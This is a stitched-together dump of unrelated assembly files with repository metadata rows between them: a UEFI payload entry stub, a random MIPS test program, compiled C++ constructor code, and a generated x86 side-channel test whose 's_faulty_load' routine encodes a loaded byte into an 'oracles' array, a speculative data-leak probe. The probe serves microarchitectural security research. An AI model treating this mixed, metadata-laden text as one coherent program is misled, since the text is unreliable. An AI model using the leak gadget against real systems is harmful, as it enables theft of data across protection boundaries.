ASM_PFX(_ModuleEntryPoint):
;
; Disable all the interrupts
;
cli
;
; Save the bootloader parameter base address
;
mov eax, [esp + 4]
mov esp, FixedPcdGet32 (PcdPayloadStackTop)
;
; Push the bootloader parameter address onto new stack
;
push 0
push eax
;
; Call into C code
;
call ASM_PFX(PayloadEntry)
jmp $
| 18.340426
| 79
| 0.561485
|
356ec7d52945f8c84f15f1dbf571f6ff877e0085
| 10,592
|
asm
|
Assembly
|
P6/data_P6_2/MDTest152.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | 1
|
2022-01-23T09:24:47.000Z
|
2022-01-23T09:24:47.000Z
|
P6/data_P6_2/MDTest152.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
P6/data_P6_2/MDTest152.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
ori $ra,$ra,0xf
mflo $3
lb $5,14($0)
srav $5,$1,$5
addu $4,$4,$4
mthi $1
mfhi $3
addu $5,$0,$3
div $1,$ra
div $0,$ra
divu $1,$ra
divu $5,$ra
srav $6,$3,$3
div $5,$ra
addiu $5,$4,-30761
sll $6,$4,13
lb $0,4($0)
div $4,$ra
addiu $5,$5,15217
divu $4,$ra
div $4,$ra
mult $4,$4
mfhi $1
srav $0,$4,$3
lb $1,0($0)
lb $1,10($0)
lui $6,41594
addiu $3,$1,-29848
mthi $1
mult $0,$2
lui $3,64727
lui $4,17470
addiu $1,$1,10363
mthi $5
mfhi $3
mult $3,$3
ori $6,$1,59991
addiu $4,$4,-6664
mult $2,$2
sb $1,12($0)
lui $4,13667
ori $5,$0,18855
sb $4,13($0)
sb $5,1($0)
mtlo $6
ori $1,$4,33940
multu $1,$5
addiu $5,$5,-15006
sb $4,15($0)
mtlo $4
lui $4,28196
div $5,$ra
multu $4,$4
ori $5,$2,21110
divu $5,$ra
sb $5,9($0)
lui $5,58927
sll $1,$5,31
addu $5,$5,$2
addu $4,$4,$2
addiu $4,$1,-19988
ori $4,$5,48074
mthi $4
mult $6,$6
mult $6,$6
mtlo $2
lb $1,13($0)
ori $2,$2,59793
lui $4,24895
sb $5,8($0)
lui $4,8164
mthi $4
addu $4,$4,$4
lui $5,41455
mflo $2
ori $4,$4,58250
mflo $4
lb $1,16($0)
sll $4,$0,19
mfhi $1
sb $4,8($0)
sll $1,$5,30
div $5,$ra
sll $3,$3,17
lui $5,47818
addu $3,$4,$3
multu $4,$0
sll $2,$2,16
mtlo $0
mthi $4
multu $4,$3
mflo $1
mthi $1
div $4,$ra
addiu $1,$5,17374
mfhi $5
sll $5,$5,10
sb $5,13($0)
lb $2,12($0)
addu $4,$5,$5
lui $1,26487
mthi $5
lb $2,2($0)
addiu $4,$1,23521
divu $6,$ra
ori $3,$3,59522
mfhi $2
lui $2,46289
divu $5,$ra
srav $5,$5,$5
ori $4,$6,35283
sb $5,10($0)
mfhi $2
mthi $0
addu $5,$5,$2
mult $5,$5
addiu $5,$4,-11380
multu $5,$5
addiu $4,$2,5900
mult $4,$0
sb $4,0($0)
lui $5,18392
mflo $1
srav $4,$4,$3
multu $4,$2
mult $6,$6
addiu $1,$2,-3253
addiu $6,$4,-7836
sll $2,$2,17
mult $1,$1
divu $4,$ra
mtlo $1
lui $3,12778
divu $4,$ra
div $3,$ra
ori $3,$1,1777
mflo $5
div $2,$ra
addiu $5,$1,-26959
divu $1,$ra
div $4,$ra
mthi $1
addu $0,$4,$6
mflo $4
lui $2,53012
mtlo $3
divu $4,$ra
lb $2,5($0)
mtlo $4
addiu $0,$2,-27790
addu $2,$2,$6
addiu $5,$0,-18545
mtlo $4
mthi $4
mult $1,$1
addu $4,$5,$5
mult $5,$4
sb $5,10($0)
div $1,$ra
srav $4,$4,$4
sll $0,$2,19
div $5,$ra
addiu $6,$3,20984
lui $5,9123
lui $1,31549
divu $4,$ra
div $0,$ra
divu $6,$ra
div $5,$ra
lb $6,1($0)
mflo $5
mflo $4
ori $4,$1,31455
srav $4,$4,$2
addu $4,$4,$4
sll $4,$1,14
sll $4,$4,29
ori $6,$0,63467
sll $3,$1,21
divu $4,$ra
mtlo $5
div $4,$ra
lui $1,16532
srav $1,$1,$1
lb $5,12($0)
addiu $1,$4,-3003
divu $5,$ra
mult $5,$5
mfhi $4
divu $5,$ra
mult $1,$2
sll $4,$1,27
addiu $3,$5,-10800
div $1,$ra
addu $4,$2,$4
mult $0,$5
sb $2,6($0)
div $3,$ra
multu $4,$0
multu $2,$2
lui $4,45324
sll $3,$4,9
ori $6,$2,64076
lui $4,11282
div $0,$ra
addu $0,$4,$0
lui $4,3573
multu $4,$4
mult $5,$5
sll $6,$6,0
lb $4,13($0)
lb $1,11($0)
divu $0,$ra
lui $1,30407
divu $6,$ra
lui $4,35492
mult $0,$5
sb $1,9($0)
mtlo $5
lui $0,29495
mthi $4
ori $1,$1,33564
mult $1,$6
sll $1,$1,25
sll $0,$1,30
multu $1,$2
mthi $5
ori $4,$4,11818
mthi $1
mfhi $4
divu $5,$ra
mfhi $5
divu $5,$ra
sb $2,4($0)
srav $4,$4,$4
mtlo $2
lb $0,9($0)
mfhi $5
srav $3,$5,$3
divu $1,$ra
mflo $4
sll $2,$5,26
mult $5,$3
lui $1,17505
mflo $1
mult $5,$5
sb $4,14($0)
sb $4,14($0)
mult $4,$4
divu $1,$ra
lb $4,5($0)
sll $5,$4,18
mthi $2
div $5,$ra
lui $4,19477
divu $5,$ra
sb $1,9($0)
mult $5,$2
srav $4,$4,$4
sll $5,$4,29
mult $4,$2
lb $2,1($0)
ori $6,$6,38809
mthi $4
addu $6,$6,$2
mfhi $2
lb $2,0($0)
sb $2,1($0)
mthi $6
addiu $5,$1,-8305
lui $4,6660
mult $4,$1
multu $1,$4
srav $5,$4,$3
sll $1,$0,7
mtlo $3
divu $5,$ra
mflo $4
mflo $3
addiu $4,$5,20636
srav $6,$4,$4
lui $3,35187
divu $4,$ra
ori $4,$4,9931
multu $5,$1
addiu $4,$3,13076
addu $5,$2,$2
sb $4,9($0)
srav $4,$6,$3
mtlo $1
sll $4,$2,30
ori $5,$2,35964
mult $5,$4
lui $5,13952
sll $1,$5,20
mtlo $4
mtlo $4
multu $4,$5
sb $1,1($0)
mult $6,$5
multu $0,$6
mthi $2
sll $0,$4,4
ori $4,$1,20960
addiu $4,$1,3385
mflo $4
ori $4,$4,49539
ori $3,$1,27117
sb $0,7($0)
sll $1,$5,29
ori $4,$4,3441
multu $5,$5
div $4,$ra
ori $6,$6,32774
ori $5,$0,36898
divu $1,$ra
addiu $4,$1,22072
sll $5,$3,23
div $4,$ra
multu $6,$6
div $4,$ra
multu $2,$2
mthi $6
mthi $4
addiu $4,$3,25530
mfhi $1
mflo $1
mthi $2
divu $1,$ra
multu $5,$5
srav $4,$4,$3
mthi $6
mfhi $6
mthi $4
mult $4,$6
mflo $0
srav $1,$2,$3
div $5,$ra
div $5,$ra
ori $0,$3,36480
div $0,$ra
ori $3,$5,62169
lb $1,15($0)
mult $4,$4
mflo $2
div $0,$ra
addiu $5,$6,-22977
mflo $4
mthi $1
mfhi $4
mflo $0
lb $4,7($0)
mflo $1
addiu $3,$2,-5451
addu $1,$4,$1
mult $6,$4
lui $4,152
divu $3,$ra
lui $0,6359
srav $4,$1,$2
multu $3,$5
mthi $6
addiu $6,$2,-32039
addu $1,$1,$3
mflo $5
addu $4,$4,$5
addu $2,$1,$2
mflo $1
mflo $5
mflo $4
mthi $4
lb $4,12($0)
div $6,$ra
mtlo $1
mthi $1
srav $4,$2,$1
sb $5,5($0)
lb $5,11($0)
lui $3,30633
mflo $1
mthi $6
lui $1,6177
mfhi $1
addiu $1,$5,-7914
lui $1,8846
addu $5,$1,$0
lb $0,11($0)
mthi $2
sll $5,$2,30
addiu $4,$2,-17730
srav $5,$4,$3
sb $5,7($0)
addu $5,$2,$4
multu $4,$5
sb $5,5($0)
mflo $1
lui $1,31297
div $4,$ra
mfhi $1
lui $0,18872
divu $5,$ra
div $5,$ra
multu $4,$0
addiu $4,$2,-7350
divu $4,$ra
mthi $1
sb $2,1($0)
div $2,$ra
div $4,$ra
lui $2,5319
multu $5,$0
addu $1,$2,$1
mfhi $4
lb $4,16($0)
mfhi $3
ori $4,$4,12346
addiu $0,$4,-18363
mult $2,$1
div $4,$ra
srav $0,$0,$5
mthi $4
mult $4,$5
sll $0,$0,22
mthi $4
sll $4,$1,9
divu $4,$ra
mtlo $6
ori $1,$4,49156
div $4,$ra
mflo $6
srav $5,$5,$4
ori $0,$0,2730
mtlo $4
divu $0,$ra
addu $3,$2,$3
mfhi $1
mfhi $2
div $4,$ra
lui $1,1111
addu $4,$5,$1
ori $3,$0,44225
addu $1,$1,$3
srav $4,$4,$4
sb $4,4($0)
mflo $0
div $6,$ra
div $4,$ra
mult $4,$1
mfhi $5
mult $2,$2
addu $6,$6,$6
srav $2,$2,$5
lb $4,8($0)
mthi $4
lb $5,11($0)
lui $5,54789
mthi $2
mthi $4
srav $5,$0,$3
multu $1,$4
mflo $4
lui $2,30470
mtlo $4
multu $1,$6
divu $5,$ra
mthi $4
sll $6,$6,7
div $1,$ra
addiu $4,$4,-21758
ori $2,$2,27871
addu $5,$5,$2
mtlo $3
addiu $1,$4,5533
lb $4,10($0)
mflo $1
lb $4,4($0)
addu $5,$5,$3
mult $0,$0
lb $2,9($0)
div $1,$ra
mfhi $3
mfhi $6
lui $6,48270
divu $1,$ra
sll $6,$2,9
srav $1,$1,$1
ori $4,$4,12034
mfhi $1
addiu $1,$2,32615
mtlo $4
addu $4,$4,$4
div $4,$ra
ori $4,$1,60369
mthi $4
divu $5,$ra
mflo $1
lb $4,8($0)
mthi $2
addiu $4,$1,5524
mfhi $1
mult $4,$1
addu $0,$6,$5
lui $4,50773
addiu $4,$4,11628
ori $2,$2,22969
lui $4,53864
div $4,$ra
addu $5,$4,$1
lb $0,6($0)
lb $5,10($0)
ori $5,$4,17068
srav $5,$2,$5
mthi $1
sb $2,5($0)
lui $4,50686
multu $6,$4
srav $0,$4,$0
mthi $4
ori $4,$4,10716
sb $5,6($0)
sll $3,$3,11
lui $1,12797
mult $4,$6
multu $4,$4
mthi $4
mthi $1
mtlo $6
addu $6,$0,$6
sb $5,12($0)
mtlo $0
mthi $2
div $4,$ra
sb $5,12($0)
sb $2,4($0)
sb $4,5($0)
mflo $5
divu $5,$ra
ori $4,$4,33192
addiu $5,$4,-5084
ori $4,$1,27424
ori $0,$0,24117
mult $6,$2
divu $6,$ra
sll $2,$2,2
addiu $4,$5,3939
mult $1,$1
mflo $4
mtlo $4
divu $1,$ra
div $4,$ra
divu $4,$ra
lui $4,65150
sll $6,$5,29
sb $4,13($0)
addu $5,$6,$4
mfhi $1
multu $4,$4
multu $6,$5
mfhi $3
lb $4,8($0)
mthi $4
mflo $5
mflo $1
mfhi $1
mult $4,$5
mtlo $5
mflo $4
sll $1,$2,5
srav $3,$2,$3
mult $6,$4
addiu $4,$4,29951
div $6,$ra
sb $5,13($0)
sll $2,$2,5
mfhi $1
mtlo $4
ori $1,$5,40168
divu $1,$ra
sb $0,5($0)
ori $6,$6,51911
multu $5,$5
mflo $5
mthi $5
mult $1,$6
addu $4,$2,$2
sll $5,$6,11
srav $4,$4,$4
mflo $3
mfhi $4
mtlo $5
lb $4,15($0)
sll $1,$2,21
mtlo $0
lb $4,6($0)
mult $3,$6
mthi $6
mult $1,$5
lb $4,0($0)
lb $1,7($0)
lb $5,16($0)
divu $5,$ra
lb $1,2($0)
addu $4,$5,$4
sb $5,4($0)
mult $3,$2
ori $6,$5,51960
mthi $1
mflo $6
mtlo $4
mflo $4
multu $5,$5
div $5,$ra
ori $4,$2,30939
lb $1,13($0)
multu $5,$1
lb $4,12($0)
mthi $4
sb $4,14($0)
mult $3,$3
mfhi $2
div $0,$ra
mult $5,$1
sb $5,7($0)
mtlo $1
srav $4,$4,$4
addiu $5,$5,18486
addiu $3,$5,6443
mflo $4
multu $2,$2
lui $5,9815
mthi $1
lui $4,48522
sb $6,12($0)
mthi $4
sb $1,4($0)
mult $0,$3
addu $1,$4,$5
multu $4,$4
addu $4,$2,$2
mflo $1
addiu $4,$0,126
addu $1,$2,$5
multu $1,$4
lb $1,5($0)
mflo $5
srav $3,$3,$3
sll $4,$4,17
lui $4,49611
mthi $4
sll $4,$0,12
addiu $2,$2,-5924
lui $1,56115
lb $4,6($0)
mult $6,$6
multu $5,$4
multu $2,$5
ori $4,$1,32274
multu $2,$2
mfhi $4
lui $5,747
mfhi $4
lb $1,3($0)
multu $4,$4
mthi $3
addiu $4,$2,-371
mthi $4
mfhi $5
lui $1,29024
addiu $2,$1,-19316
divu $4,$ra
ori $2,$5,49815
lb $4,3($0)
mult $4,$1
lui $4,1748
multu $0,$0
sb $4,10($0)
addiu $4,$4,15925
mult $5,$2
mtlo $4
multu $4,$6
sb $5,3($0)
addiu $6,$2,-17188
multu $5,$4
mtlo $3
divu $4,$ra
lui $4,40133
mflo $4
sb $4,0($0)
addu $1,$1,$2
ori $4,$5,51225
sb $5,10($0)
sb $4,9($0)
mthi $2
lb $5,3($0)
mthi $4
addiu $5,$5,-7512
mtlo $4
multu $2,$2
addu $4,$4,$4
multu $4,$2
sll $2,$2,26
mtlo $5
div $2,$ra
mthi $2
srav $0,$5,$3
sll $4,$1,11
mfhi $4
divu $1,$ra
ori $3,$3,53416
mtlo $5
mfhi $5
mult $3,$4
divu $4,$ra
div $5,$ra
mflo $2
addu $0,$1,$0
sb $1,8($0)
lb $6,14($0)
multu $2,$2
mflo $3
mthi $4
addu $5,$5,$3
mult $3,$3
mult $1,$1
mtlo $4
lui $0,51759
srav $5,$5,$2
sll $5,$2,25
mfhi $5
ori $5,$5,18197
addiu $5,$1,26198
sll $4,$2,30
mflo $4
mflo $1
ori $1,$5,53688
div $1,$ra
multu $3,$3
addiu $4,$1,-13957
lui $0,3738
srav $1,$4,$4
addiu $2,$2,30591
div $5,$ra
multu $0,$5
addiu $0,$5,-8433
addiu $6,$4,7643
addu $1,$4,$4
addu $1,$2,$2
sll $4,$2,19
mfhi $5
mfhi $6
mult $0,$0
sb $6,8($0)
sll $2,$2,2
mult $1,$5
divu $1,$ra
addu $0,$0,$3
mult $5,$5
mfhi $3
div $4,$ra
addiu $4,$4,-22781
ori $4,$0,47078
srav $2,$5,$2
mthi $4
divu $4,$ra
lui $5,46461
mfhi $1
addiu $4,$3,18251
addu $5,$4,$4
ori $4,$2,40876
lb $2,6($0)
mtlo $5
mult $1,$4
mthi $6
mtlo $1
mtlo $5
multu $5,$2
lui $1,10495
mult $6,$2
addiu $5,$5,-12564
sll $1,$5,9
ori $4,$1,56308
mult $1,$1
mthi $5
div $6,$ra
sll $5,$2,14
div $1,$ra
sll $5,$1,21
lb $4,8($0)
addu $4,$4,$4
sb $1,0($0)
lui $4,28291
mflo $5
multu $5,$4
divu $5,$ra
mflo $4
sll $2,$2,31
lui $5,56103
multu $3,$6
div $1,$ra
lui $5,59224
sll $4,$2,28
div $4,$ra
mthi $4
mflo $4
multu $5,$5
mult $0,$4
multu $1,$6
mflo $1
mflo $0
sll $6,$5,17
lui $1,59475
mthi $1
divu $3,$ra
mult $3,$3
sb $0,14($0)
sb $4,9($0)
sb $3,4($0)
mult $6,$1
multu $5,$5
mflo $0
srav $4,$5,$4
ori $3,$5,60205
multu $6,$5
mflo $6
divu $3,$ra
div $1,$ra
mflo $5
sb $5,6($0)
srav $4,$2,$4
srav $1,$4,$4
mthi $1
lb $4,4($0)
mfhi $4
mtlo $1
lui $2,3742
lui $5,50473
mfhi $4
div $6,$ra
addu $5,$3,$3
mult $5,$1
multu $3,$5
mflo $6
mfhi $1
addu $1,$4,$2
addiu $4,$2,8021
addu $0,$4,$0
mfhi $5
srav $1,$1,$4
sll $1,$2,24
mtlo $4
sll $4,$2,15
addu $5,$5,$3
lb $4,14($0)
div $1,$ra
mult $2,$2
divu $6,$ra
divu $1,$ra
sll $4,$4,29
mtlo $4
mtlo $1
srav $0,$2,$0
addiu $4,$1,20523
mtlo $5
multu $4,$1
lb $2,13($0)
mult $1,$2
lui $4,29282
ori $2,$2,22999
addiu $4,$0,-19649
div $4,$ra
multu $0,$2
lui $5,41076
mult $0,$5
mult $4,$1
multu $1,$1
addu $4,$4,$4
mtlo $1
srav $5,$4,$4
lb $5,7($0)
mfhi $5
mult $5,$5
mtlo $5
multu $5,$5
mthi $4
div $5,$ra
divu $4,$ra
addu $2,$2,$2
lb $2,10($0)
multu $5,$5
| 11.901124
| 18
| 0.570053
|
166f632db4f22836ff57901de29c860ba88548b5
| 6,585
|
asm
|
Assembly
|
test1.asm
|
hailong-lu/LearnGit
|
f8cde0c1f52abfebe2814091f43e84d59fadfc65
|
[
"MIT"
] | null | null | null |
test1.asm
|
hailong-lu/LearnGit
|
f8cde0c1f52abfebe2814091f43e84d59fadfc65
|
[
"MIT"
] | null | null | null |
test1.asm
|
hailong-lu/LearnGit
|
f8cde0c1f52abfebe2814091f43e84d59fadfc65
|
[
"MIT"
] | null | null | null |
Base::Base() [base object constructor]:
push rbp
mov rbp, rsp
mov QWORD PTR [rbp-8], rdi
nop
pop rbp
ret
Base::Base(Base const&):
push rbp
mov rbp, rsp
mov QWORD PTR [rbp-8], rdi
mov QWORD PTR [rbp-16], rsi
nop
pop rbp
ret
Base::operator=(Base const&):
push rbp
mov rbp, rsp
mov QWORD PTR [rbp-8], rdi
mov QWORD PTR [rbp-16], rsi
mov rax, QWORD PTR [rbp-8]
pop rbp
ret
Base::~Base() [base object destructor]:
push rbp
mov rbp, rsp
mov QWORD PTR [rbp-8], rdi
nop
pop rbp
ret
Test1::Test1() [base object constructor]:
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR [rbp-8], rdi
mov rax, QWORD PTR [rbp-8]
mov rdi, rax
call Base::Base() [base object constructor]
mov rax, QWORD PTR [rbp-8]
add rax, 16
mov rdi, rax
call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string() [complete object constructor]
nop
leave
ret
Test1::Test1(Test1 const&):
push rbp
mov rbp, rsp
push rbx
sub rsp, 24
mov QWORD PTR [rbp-24], rdi
mov QWORD PTR [rbp-32], rsi
mov rdx, QWORD PTR [rbp-32]
mov rax, QWORD PTR [rbp-24]
mov rsi, rdx
mov rdi, rax
call Base::Base(Base const&)
mov rax, QWORD PTR [rbp-32]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR [rbp-24]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR [rbp-32]
mov rdx, QWORD PTR [rax+8]
mov rax, QWORD PTR [rbp-24]
mov QWORD PTR [rax+8], rdx
mov rax, QWORD PTR [rbp-24]
add rax, 16
mov rdx, QWORD PTR [rbp-32]
add rdx, 16
mov rsi, rdx
mov rdi, rax
call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
jmp .L10
mov rbx, rax
mov rax, QWORD PTR [rbp-24]
mov rdi, rax
call Base::~Base() [base object destructor]
mov rax, rbx
mov rdi, rax
call _Unwind_Resume
.L10:
mov rbx, QWORD PTR [rbp-8]
leave
ret
Test1::operator=(Test1 const&):
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR [rbp-8], rdi
mov QWORD PTR [rbp-16], rsi
mov rdx, QWORD PTR [rbp-16]
mov rax, QWORD PTR [rbp-8]
mov rsi, rdx
mov rdi, rax
call Base::operator=(Base const&)
mov rax, QWORD PTR [rbp-16]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR [rbp-8]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR [rbp-16]
mov rdx, QWORD PTR [rax+8]
mov rax, QWORD PTR [rbp-8]
mov QWORD PTR [rax+8], rdx
mov rax, QWORD PTR [rbp-16]
lea rdx, [rax+16]
mov rax, QWORD PTR [rbp-8]
add rax, 16
mov rsi, rdx
mov rdi, rax
call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
mov rax, QWORD PTR [rbp-8]
leave
ret
Test1::~Test1() [base object destructor]:
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR [rbp-8], rdi
mov rax, QWORD PTR [rbp-8]
add rax, 16
mov rdi, rax
call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string() [complete object destructor]
mov rax, QWORD PTR [rbp-8]
mov rdi, rax
call Base::~Base() [base object destructor]
nop
leave
ret
main:
push rbp
mov rbp, rsp
push rbx
sub rsp, 200
lea rax, [rbp-64]
mov rdi, rax
call Test::Test() [complete object constructor]
lea rdx, [rbp-64]
lea rax, [rbp-112]
mov rsi, rdx
mov rdi, rax
call Test::Test(Test const&)
lea rdx, [rbp-64]
lea rax, [rbp-112]
mov rsi, rdx
mov rdi, rax
call Test::operator=(Test const&)
lea rax, [rbp-160]
mov rdi, rax
call Test1::Test1() [complete object constructor]
lea rdx, [rbp-160]
lea rax, [rbp-208]
mov rsi, rdx
mov rdi, rax
call Test1::Test1(Test1 const&)
lea rdx, [rbp-160]
lea rax, [rbp-208]
mov rsi, rdx
mov rdi, rax
call Test1::operator=(Test1 const&)
mov ebx, 0
lea rax, [rbp-208]
mov rdi, rax
call Test1::~Test1() [complete object destructor]
lea rax, [rbp-160]
mov rdi, rax
call Test1::~Test1() [complete object destructor]
lea rax, [rbp-112]
mov rdi, rax
call Test::~Test() [complete object destructor]
lea rax, [rbp-64]
mov rdi, rax
call Test::~Test() [complete object destructor]
mov eax, ebx
jmp .L32
mov rbx, rax
lea rax, [rbp-208]
mov rdi, rax
call Test1::~Test1() [complete object destructor]
jmp .L25
mov rbx, rax
.L25:
lea rax, [rbp-160]
mov rdi, rax
call Test1::~Test1() [complete object destructor]
jmp .L26
mov rbx, rax
.L26:
lea rax, [rbp-112]
mov rdi, rax
call Test::~Test() [complete object destructor]
jmp .L27
mov rbx, rax
.L27:
lea rax, [rbp-64]
mov rdi, rax
call Test::~Test() [complete object destructor]
mov rax, rbx
mov rdi, rax
call _Unwind_Resume
.L32:
mov rbx, QWORD PTR [rbp-8]
leave
ret
| 32.121951
| 197
| 0.474867
|
157a73de0e9ae4f6754cfaee6e29697a31afb5b3
| 5,197
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1872.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1872.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1872.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x139c9, %rdx
nop
inc %rax
movb $0x61, (%rdx)
nop
nop
inc %r15
lea addresses_WC_ht+0xd039, %rsi
lea addresses_UC_ht+0x155c9, %rdi
nop
nop
sub %r12, %r12
mov $63, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_UC_ht+0x1a349, %rdx
sub $61429, %rcx
movl $0x61626364, (%rdx)
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_WT_ht+0xe249, %rax
nop
nop
add $28944, %rsi
vmovups (%rax), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
nop
nop
cmp $4777, %rcx
lea addresses_UC_ht+0x7221, %r15
nop
nop
and $48556, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm2
movups %xmm2, (%r15)
sub $33446, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rdx
// Faulty Load
lea addresses_normal+0xf1c9, %r13
clflush (%r13)
nop
nop
nop
nop
and $60687, %r8
movb (%r13), %dl
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 